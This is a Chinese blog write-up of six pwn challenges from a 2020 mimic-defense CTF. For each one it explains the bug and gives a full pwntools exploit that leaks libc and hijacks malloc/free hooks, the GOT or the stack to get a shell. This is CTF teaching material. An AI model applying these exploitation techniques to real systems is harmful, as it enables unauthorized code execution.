2020-拟态防御PWN解题

前言

很早的比赛,做一个总结。凭借着师傅们的努力最终登顶!

newpad:off by null
easy_stack:格式化字符串+栈溢出
rbsystem:负数溢出+利用fopen和fread函数分配的堆来leak libc
goodnote:整数溢出
Emmmm:master of UAF
advance_stack: 可以通过劫持got,改后两位为某个字节,令call got的时候是执行syscall。之前见过这种题,当时做题忽视了很多东西,一个是got表可写。最后利用csu来call一下我们修改的got表即可,注意提前布置好参数,用read来读取0x3b个字节,令rax为system的系统调用号

newpad

off by null漏洞,前面还有一个bss段中的溢出

#coding=utf-8
from pwn import *
r = lambda p:p.recv()
rl = lambda p:p.recvline()
ru = lambda p,x:p.recvuntil(x)
rn = lambda p,x:p.recvn(x)
rud = lambda p,x:p.recvuntil(x,drop=True)
s = lambda p,x:p.send(x)
sl = lambda p,x:p.sendline(x)
sla = lambda p,x,y:p.sendlineafter(x,y)
sa = lambda p,x,y:p.sendafter(x,y)
context.update(arch='amd64',os='linux',log_level='DEBUG')
context.terminal = ['tmux','split','-h']
debug = 1
elf = ELF('./newpad')
libc_offset = 0x3c4b20
gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
if debug:
    p = process('./newpad')
else:
    libc = ELF('./x64_libc.so.6')
    p = remote('f.buuoj.cn',20173)

def Add(size,content='a\n'):
    p.recvuntil('(CMD)>>> ')
    p.sendline('A')
    p.recvuntil("(SIZE)>>> ")
    p.sendline(str(size))
    p.recvuntil("(CONTENT)>>> ")
    p.send(content)

def Show(idx):
    p.recvuntil('(CMD)>>> ')
    p.sendline('F')
    p.recvuntil("(INDEX)>>> ")
    p.sendline(str(idx))

def Delete(idx):
    p.recvuntil('(CMD)>>> ')
    p.sendline('D')
    p.recvuntil("(INDEX)>>> ")
    p.sendline(str(idx))

def Edit(idx,content,is_ok='y'):
    p.recvuntil('(CMD)>>> ')
    p.sendline('E')
    p.recvuntil("(INDEX)>>> ")
    p.sendline(str(idx))
    p.recvuntil("(CONTENT)>>> ")
    p.send(content)
    p.recvuntil("(Y/n)>>> ")
    p.sendline(is_ok)

def exp():
    #leak libc
    Add(0xf8)#1
    Add(0x58)#2
    Add(0x68)#3
    Add(0xf8)#4
    Delete(3)
    Add(0x68,'a'*0x68+'\n')#3
    for i in range(5):
        Edit(3,'a'*(0x67-i)+'\n')
    Edit(3,'a'*0x60+p64(0x70+0x60+0x100)+'\n')
    Delete(1)
    Add(0x100)#1
    Delete(3)
    Delete(4)
    Add(0xf8)#3

    Show(2)
    p.recvuntil(" # CONTENT: ")
    libc_base = u64(p.recvn(6).ljust(8,'\x00')) - libc.sym['__malloc_hook'] - 0x10 - 88
    log.success("libc base => " + hex(libc_base))

    libc.address = libc_base
    fake_chunk = libc.sym['__malloc_hook'] - 0x23
    Add(0x1c0,'a'*0x50+p64(0)+p64(0x71)+p64(fake_chunk)+'\n')#4

    Delete(2)
    Delete(3)
    Add(0x68)
    shell_addr = libc_base + gadgets[2]

    Add(0x68,'\x00'*0x13+p64(shell_addr)+'\n')
    print hex(shell_addr)
    Delete(3)
    p.interactive()

exp()

rbsystem

查看文件

81de42f08fe70e452c8f2f585ac1c092.png

IDA分析

标准的菜单题:
create:
aeadae433cbd079295b56fc2e6cc7284.png

edit:
680d7f78256e9542fb757bb899d5c67e.png

漏洞位置:
36c2af7b57c3252edf4056fdf0e27636.png
这里看到可以负数溢出,向前写。注意是通过stream来写的,那stream是从哪里来的呢,我们看看:

open_file功能:
6c138ae92b45c192e46ce518bb0a872d.png
打开随机数文件

close_file 功能:
5b362e11850643d9a994097e9d3688bc.png
关闭随机数文件,没有free功能。

思路

知识点补充

1.fopen打开文件操作:

我们常见的fopen函数会分配对应的heap地址去存放该文件结构体:

首先看反汇编源码:
4f8a252ed811c9990bd71e7f1de95d70.png

查看对应的源代码:
e31c881f98e37cb2d484f49697c81ec3.png

最后实际调用的是这个函数,其会malloc一个size大小为IO_FILE_PLUS + IO_wide_data即0x228大小的chunk:
5aff363060147da9711c164d010c36e1.png

2.fread读取文件
fee35a1c2fd43088aa6827507ba1d57b.png
会分配一个0x1010大小的chunk

3.fclose关闭文件
7f086d0d4c10d0228b8af8db3e8ec750.png
会释放掉两个之前fopen创建的0x230 的chunk存放文件结构体以及fread时开辟的缓冲区0x1010大小的chunk

思路

第一步:利用fopen和fread创建出0x1010的chunk,再fclose释放,再分配残留一个smallbin,再分配后show即可获得libc地址
第二步:利用随机数文件进行爆破,由于可以整数溢出向前写,但由于是通过随机数文件内容来写的,所以我们需要爆破,一个一个的向里面写,edit可以指定位置和size。需要爆破两个地址,一个是将fd改为free_hook地址。第二次是该free_hook为one_gadget。
第三步:fclose释放chunk的时候即可getshell

exp

#coding=utf-8
from pwn import *
r = lambda p,x:p.recv(x)
rl = lambda p:p.recvline()
ru = lambda p,x:p.recvuntil(x)
rn = lambda p,x:p.recvn(x)
rud = lambda p,x:p.recvuntil(x,drop=True)
s = lambda p,x:p.send(x)
sl = lambda p,x:p.sendline(x)
sla = lambda p,x,y:p.sendlineafter(x,y)
sa = lambda p,x,y:p.sendafter(x,y)
context.log_level='DEBUG'
context.update(arch='amd64',os='linux')
#context.terminal = ['tmux','split','-h']
debug = 1
elf = ELF('./rbsystem')
libc_offset = 0x3c4b20
onegadgets=[0x4f2c5,0x4f322,0x10a38c]
libc = ELF('./libc-2.27.so')
if debug:
    p = process('./rbsystem')
else:
    p = remote('f.buuoj.cn',20173)

def Add(idx,size):
    p.recvuntil('Your choice: ')
    p.sendline('1')
    p.recvuntil("Index: ")
    p.sendline(str(idx))
    p.recvuntil("Size: ")
    p.sendline(str(size))

def Edit(idx,offset,sz):
    p.recvuntil('Your choice: ')
    p.sendline('2')
    p.recvuntil("Index: ")
    p.sendline(str(idx))
    p.recvuntil("Offset: ")
    p.sendline(str(offset))
    p.recvuntil("Size: ")
    p.sendline(str(sz))

def Show(idx):
    p.recvuntil('Your choice: ')
    p.sendline('3')
    p.recvuntil("Index: ")
    p.sendline(str(idx))
    p.recvuntil("Content: ")

def OpenFile():
    p.recvuntil('Your choice: ')
    p.sendline('4')

def CloseFile():
    p.recvuntil('Your choice: ')
    p.sendline('5')

OpenFile()
Add(0,0x30-8)
Edit(0,0,1)
Add(1,0x30-8)
CloseFile()
gdb.attach(p)
Add(2,0x1010-8-0x20) #unsorted bin:0x20

OpenFile()
Edit(0,0,1)

Add(3,0x30-8)   #1st 20 small bin               ## hou 3 30
CloseFile()
Add(4,0x1010-8-0x40-0x20)
Add(5,0x40-8)                      ## qian 5 40   
Add(6,0x30-8)  #2th 20 small bin

Add(7,0x20-8)  #tcache:0x20

OpenFile()
#fill 6 size 2 random
Edit(3,-0x20-8,8)

#leak libc
Show(5)

libc.address=u64(r(p,6).ljust(8,b'\x00'))-0x3ebcf0
print(hex(libc.address))
Edit(5,0,0x38)
free_hook=p64(libc.symbols['__free_hook'])
for i in range(6):
    while(1):
        Edit(3,-0x20+i,1)
        Show(5)
        r(p,0x38) # 5 content
        r(p,8) # 6 size
        c=rud(p,"\n1. allocate")
        #print(c)
        if(c==free_hook[0:i+1]):
            print("1")
            break;

print(free_hook)

#gdb.attach(p)
Add(8,0x20-8)

Add(9,0x20-8) #
onegadget=p64(libc.address+onegadgets[1])

for i in range(6):
    while(1):
        Edit(9,0+i,1)
        Show(9)
        c=rud(p,"\n1. allocate")
        #print(c)
        if(c==onegadget[0:i+1]):
            print("2")
            break;

CloseFile()
p.interactive()

easy_stack

查看文件

1e5e2c26ec831e3919681657309778c8.png

IDA分析

80d7254effb85dba0c5914e9c28be3cf.png
格式化字符串+栈溢出

思路

格式化字符串泄露libc和canary,栈溢出改onegadget即可

exp

#coding=utf-8
from pwn import *

r = lambda p:p.recv()
rl = lambda p:p.recvline()
ru = lambda p,x:p.recvuntil(x)
rn = lambda p,x:p.recvn(x)
rud = lambda p,x:p.recvuntil(x,drop=True)
s = lambda p,x:p.send(x)
sl = lambda p,x:p.sendline(x)
sla = lambda p,x,y:p.sendlineafter(x,y)
sa = lambda p,x,y:p.sendafter(x,y)

context.update(arch='amd64',os='linux',log_level='DEBUG')
context.terminal = ['tmux','split','-h']
debug = 1
elf = ELF('./easy-stack')
libc_offset = 0x3c4b20
gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]
if debug:
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    p = process('./easy-stack')
else:
    libc = ELF('./x64_libc.so.6')
    p = remote('f.buuoj.cn',20173)
def exp():
    #leak libc
    p.recvuntil("Hello, welcome to easy-stack")
    gdb.attach(p,'b* 0x0000555555554000+0x9a9')
    payload = "%29$p+%23$p"
    p.sendline(payload)
    #leak libc
    p.recvuntil("0x")
    libc_base = int(p.recvuntil("+",drop=True).strip('\n'),16) - 240 - libc.sym['__libc_start_main']
    log.success("libc base => " + hex(libc_base))
    #leak canary
    p.recvuntil("0x")
    canary = int(p.recvline().strip('\n'),16)
    log.success("canary => " + hex(canary))
    p.recvuntil("now give you a gift\n")
    shell_addr = libc_base + gadgets[0]
    payload = "a"*0x88+p64(canary)+p64(0)+p64(shell_addr)
    p.sendline(payload)
    p.interactive()

exp()

goodnote

查看文件

e77e14106e00aa9eee1117ae0631efff.png
保护全开

IDA分析

f2e35244ff1ba8a7a1114c67d28c14a3.png
很明显的整数溢出,当输入0x4000000000000000的size时,通过*4将会溢出,变成malloc(0),但是size 0x4000000000000000已经写入bss中,那么就可以在后面溢出了。
01f99144cb39379a9aa34890238810e9.png
通过scanf来写入信息,0xdeadbeef来break停止输入。

思路

第一步:先利用malloc free malloc泄露libc地址,由于create没有编辑写入\x00截断,同时malloc也没有清空信息,就可以直接leak出。
第二步:利用写入改fd为free_hook,将free_hook改为system
第三步:创建一个带有/bin/sh的chunk,最后free即可getshell

exp

#coding=utf-8
from pwn import *
r = lambda p:p.recv()
rl = lambda p:p.recvline()
ru = lambda p,x:p.recvuntil(x)
rn = lambda p,x:p.recvn(x)
rud = lambda p,x:p.recvuntil(x,drop=True)
s = lambda p,x:p.send(x)
sl = lambda p,x:p.sendline(x)
sla = lambda p,x,y:p.sendlineafter(x,y)
sa = lambda p,x,y:p.sendafter(x,y)

context.update(arch='amd64',os='linux',log_level='DEBUG')
context.terminal = ['tmux','split','-h']
debug = 1
elf = ELF('./goodnote')
libc_offset = 0x3c4b20
gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]
if debug:
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    p = process('./goodnote')
else:
    libc = ELF('./x64_libc.so.6')
    p = remote('f.buuoj.cn',20173)

def Add(idx,size):
    p.recvuntil('Your choice: ')
    p.sendline('1')
    p.recvuntil("Index: ")
    p.sendline(str(idx))
    p.recvuntil("Size: ")
    p.sendline(str(size))

def Edit(idx,content):
    p.recvuntil('Your choice: ')
    p.sendline('2')
    p.recvuntil("Index: ")
    p.sendline(str(idx))
    p.send(content)

def Show(idx):
    p.recvuntil('Your choice: ')
    p.sendline('3')
    p.recvuntil("Index: ")
    p.sendline(str(idx))

def Delete(idx):
    p.recvuntil('Your choice: ')
    p.sendline('4')
    p.recvuntil("Index: ")
    p.sendline(str(idx))

def exp():
    #leak libc

    Add(0,0x120)#0
    Add(1,0x120)#0
    Delete(0)
    Add(0,0x120)
    Show(0)
    p.recvuntil("Content: ")
    libc_base = u64(p.recvline().strip('\n').ljust(8,'\x00')) - 96 - libc.sym['__malloc_hook'] - 0x10
    log.success("libc base => " + hex(libc_base))

    #heap overflow
    gdb.attach(p)
    Add(2,0x4000000000000000)
    Add(3,0x10)
    Delete(3)

    p.recvuntil('Your choice: ')
    p.sendline('2')
    p.recvuntil("Index: ")
    p.sendline(str(2))
    for i in range(6):
        p.sendline("0")
    p.sendline(str(0x51))
    p.sendline("0")
    libc.address = libc_base
    p.sendline(str(libc.sym['__free_hook']&0xffffffff))
    p.sendline(str(libc.sym['__free_hook']>>32))
    p.sendline(str(0xdeadbeef))
    Add(4,0x10)
    Add(5,0x10)
    p.recvuntil('Your choice: ')
    p.sendline('2')
    p.recvuntil("Index: ")
    p.sendline(str(5))
    p.sendline(str(libc.sym['system']&0xffffffff))
    p.sendline(str(libc.sym['system']>>32))
    p.sendline(str(0xdeadbeef))
    p.recvuntil('Your choice: ')
    p.sendline('2')
    p.recvuntil("Index: ")
    p.sendline(str(4))
    p.sendline(str(0x6e69622f))
    p.sendline(str(0x68732f))
    p.sendline(str(0xdeadbeef))
    Delete(4)

    p.interactive()

exp()

Emmmm

查看文件

3f8cc3bb784efdd946f79ed3e26cec05.png

IDA分析

主函数:
51afb70ca8677d1a5a43d802c47778ad.png@w=600
create:
f02bbc129a2fa5715b0ab4aa240d2cd5.png@w=600
30c588f5665c6ac07ff5f095e8a8bdaa.png@w=600

创建过程先创建 一个0x20的chunk作为manage,之前也常见的。其它的就一切照旧,分别是size、content等内容。
c1c98f7c0d60e40860d20f0a3335a4ee.png@w=600
删除只删除0x20的chunk,不删除存放content的chunk。有一个UAF漏洞。注意还有个数量限制,所以我们需要注意 不能消耗太多的chunk,否则会导致最后chunk不够用,被坑过。

show函数并没有什么实在的用处。

思路

第一步:创建出c->a->b->a的chunk链,目的是伪造size。(首先将 fastbin链改到content位置,而该位置的fake chunk大小必须也是0x20,同时下面要紧挨着0x20的manage chunk,这样的话才可以改manage chunk的size并且可以释放掉,改其它位置的chunk没有用)
第二步 :利用上述操作 改一个大于fastbin的chunk来leak出libc
第三步:利用 第一步的格式来创造出两个0x70
第四步:改malloc_hook为realloc,realloc_hook改为one_gadget最后需要平衡栈帧。

exp

#coding=utf-8
from pwn import *
context.log_level = "debug"
DEBUG = 1
if DEBUG:
    p = process("./pwn")
else:
    p = remote("xxx",xxx)
elf = ELF("./pwn")
libc = ELF("./libc.so.6")

se      = lambda data               :p.send(data)
sa      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(delim, data)
sea     = lambda delim,data         :p.sendafter(delim, data)
rc      = lambda numb=4096          :p.recv(numb)
rl      = lambda                    :p.recvline()
ru      = lambda delims              :p.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\x00'))
uu64    = lambda data               :u64(data.ljust(8, '\x00'))

def create(size,content):
    sla("Choice >>","1")
    sla("Size:",str(size))
    sa("Note:",content)

def delete(index):
    sla("Choice >>","2")
    sla("Index:",str(index))

def show(index):
    sla("Choice >>","3")
    sla("Index:",str(index))

# leak libc
create(0x20,p64(0)+p64(0x21)+p64(0)+p64(0x21))
create(0x20,"\x11"*0x20)
create(0x20,"\x22"*0x20)
delete(0)
delete(1)
delete(0)
delete(2)
create(0x18,"\x40")  # 这是为了指向fake chunk的地址
create(0x40,"a"*0x40)
create(0x18,p64(0)+p64(0xa1))  # 这里 就可以改manage chunk原本0x20的size了
create(0x18,p64(0)+p64(0x21))

delete(1)

delete(0)
delete(2)
delete(0)
delete(6)
create(0x18,"\x60")
delete(0)
ru("will free: ")
libc.address = u64(p.recv(6).ljust(8,"\x00")) - libc.symbols["__malloc_hook"]-0x10-88
success("libc address==> "+hex(libc.address))

# create two 0x70 chunk
delete(6)
create(0x18,"\x40")
create(0x90,"\x00")
create(0x18,p64(0)+p64(0x71))
delete(1)

create(0x20,p64(0)+p64(0x21)+p64(0)+p64(0x21))
create(0x20,p64(0)+p64(0x21)+p64(0)+p64(0x21))
delete(6)
delete(11)
delete(6)
delete(12)
create(0x18,"\x70")
create(0x40,p64(0)+p64(0x21))
create(0x18,p64(0)+p64(0x71))
delete(11)
delete(1)
create(0x60,p64(libc.symbols["__malloc_hook"]-0x23))
create(0x60,p64(libc.symbols["__malloc_hook"]-0x23))
create(0x60,"a"*0x13+p64(libc.address+0xf1147))
create(0x60,"a"*11+p64(libc.address+0xf1147)+p64(libc.symbols["realloc"]+8))
# gdb.attach(p)
sla("Choice >>","1")
# gdb.attach(p)
p.interactive()

advance-stack

要保证拟态环境下输出一致,无法leak

查看文件

f4f3c334f3e47cbd4a74dfeac3839ca7.png
可以改got表,且PIE没开。

IDA分析

46e07c74f0a49bc97df0a9e7279019c5.png
栈溢出。

思路

本来如果没有拟态环境的限制,可以先输出函数地址,算出libc,再直接ret one_gadget,但拟态环境下要求输出相同,所以我们无法利用该思路。

思路一:后三位字节爆破1/4096(本地通了,远程没有)

思路二:可以通过劫持got,改后两位为某个字节,令call got的时候是执行syscall。之前见过这种题,当时做题忽视了很多东西,一个是got表可写。最后利用csu来call一下我们修改的got表即可,注意提前布置好参数,用read来读取0x3b个字节,令rax为system的系统调用号

exp

#coding=utf-8
from pwn import *
import string
import sys
context.update(arch='amd64',os='linux',log_level='debug')
debug = 1
elf = ELF('./easy-stack')
libc_offset = 0x3c4b20
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
if debug:
    p = process('./easy-stack')
else:
    p = remote('172.35.100.100',10001)

csu_end_addr = 0x40061a
csu_front_addr = 0x400600
main_addr = 0x400566
ret_addr = 0x0000000000400419
leave = 0x0000000000400585
#add    DWORD PTR [rbp-0x3d],ebx;nop    DWORD PTR [rax+rax*1+0x0];repz ret
add = 0x4005e8
libc_start_main = 0x400544
p_rdi = 0x0000000000400623
p_rbp = 0x00000000004004d0
p_rsp_r3 = 0x000000000040076d
p_rbp_r4 = 0x000000000040076b
readn = 0x4006bf
p_rbx_rbp_p_4 = csu_end_addr
p_rsi_r15 = 0x0000000000400621

def csu(rbx, rbp, r12, r13, r14, r15, fake_rbp, last):
    payload = ''
    payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
    payload += p64(csu_front_addr)
    payload += 'a' * 0x10
    payload += p64(fake_rbp)
    payload += 'a' * 0x20
    payload += p64(last)                          
    return payload

def exp():
    #leak libc
    read_plt = elf.plt['read']
    read_got = elf.got['read']
    write_got = elf.got['write']
    write_plt = elf.plt['write']
    bss = elf.bss()+0x300
    payload = "a"*0x80
    payload += p64(bss)
    payload += flat([
        p_rdi,0,
        p_rsi_r15,write_got,0,
        read_plt,
        ret_addr,
        p_rdi,0,
        p_rsi_r15,bss,0,
        read_plt,
        leave
        ])
    p.recvuntil("Hello, World\n")
    gdb.attach(p)
    p.send(payload)
    raw_input()
    p.send('\xbe')
    raw_input()
    payload = "/bin/sh\x00"
    payload += flat([
        p_rdi,0,p_rsi_r15,bss+0x300,0,read_plt,ret_addr
        ])
    #open flag
    payload += csu(0,1,write_got,0,0,bss,bss+0x200,ret_addr)
    #get more to 0x200
    payload += csu(0,1,read_got,0x400,bss+0x200,0,bss+0x200,leave)
    p.send(payload)
    raw_input()
    p.send("\x11"*0x3b)
    p.interactive()

exp()

  Reprint policy: xiaoxin 2020-拟态防御PWN解题

 Previous
2020 SCTF-EasyWinHeap 2020 SCTF-EasyWinHeap
[toc] 0x01 查看文件 基本上该开启的都开起了 0x02 IDA分析标准的菜单题目: alloc、delete、show、edit、exit五个功能。 这里有个UAF,删除了没清空,但是却不能向linux中的double fr
Next 
2020-虎符线上赛部分PWN解题 2020-虎符线上赛部分PWN解题
[toc] 前言很早的比赛,线下被俺们鸽掉了,这里做个总结 count:栈溢出SecureBox:汇编层面的一个整数溢出,很有意思MarksMan:改三个字节,通过exit来getshell count程序没开PIE,主函数如下: 这个题
2020-12-09
  TOC